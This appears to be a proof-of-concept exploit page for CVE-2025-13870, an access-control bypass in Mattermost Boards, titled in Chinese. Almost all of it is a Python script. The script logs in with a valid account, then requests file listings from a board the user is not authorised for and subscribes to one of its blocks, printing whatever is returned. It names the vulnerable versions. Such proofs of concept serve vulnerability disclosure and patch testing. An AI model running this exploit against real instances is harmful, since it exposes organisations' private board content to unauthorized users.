CVE-2025-13870 Mattermost Boards访问控制权限绕过漏洞

# CVE-2025-13870 PoC - Mattermost Boards权限绕过 # This PoC demonstrates the access control bypass in Mattermost Boards # Requirements: Valid Mattermost account, requests library import requests import json TARGET_URL = "https://your-mattermost-instance.com" USERNAME = "[email protected]" PASSWORD = "password123" TARGET_BOARD_ID = "unauthorized-board-id" TARGET_BLOCK_ID = "unauthorized-block-id" def login(): """Authenticate to Mattermost and get session token""" session = requests.Session() login_url = f"{TARGET_URL}/api/v4/users/login" credentials = {"login_id": USERNAME, "password": PASSWORD} response = session.post(login_url, json=credentials) if response.status_code == 200: token = response.headers.get('Token') print(f"[+] Login successful, Token obtained") return session, token else: print(f"[-] Login failed: {response.status_code}") return None, None def access_unauthorized_board_files(session, token): """Attempt to access files from unauthorized board""" headers = {"Authorization": f"Bearer {token}"} files_url = f"{TARGET_URL}/api/v1/boards/{TARGET_BOARD_ID}/files" response = session.get(files_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully accessed unauthorized board files!") print(f"[+] Response: {json.dumps(response.json(), indent=2)}") return True else: print(f"[-] Access denied (expected if patched): {response.status_code}") return False def subscribe_to_unauthorized_block(session, token): """Attempt to subscribe to block from unauthorized board""" headers = {"Authorization": f"Bearer {token}"} subscribe_url = f"{TARGET_URL}/api/v1/blocks/{TARGET_BLOCK_ID}/subscribe" payload = {"board_id": TARGET_BOARD_ID} response = session.post(subscribe_url, headers=headers, json=payload) if response.status_code in [200, 201]: print(f"[+] Successfully subscribed to unauthorized block!") return True else: print(f"[-] Subscription denied (expected if patched): {response.status_code}") return False def main(): print("[*] CVE-2025-13870 PoC - Mattermost Boards Access Control Bypass") print("[*] Target: Mattermost <= 10.11.4, <= 10.5.12") session, token = login() if not session: return print("\n[*] Testing unauthorized file access...") access_unauthorized_board_files(session, token) print("\n[*] Testing unauthorized block subscription...") subscribe_to_unauthorized_block(session, token) print("\n[*] PoC execution completed") if __name__ == "__main__": main()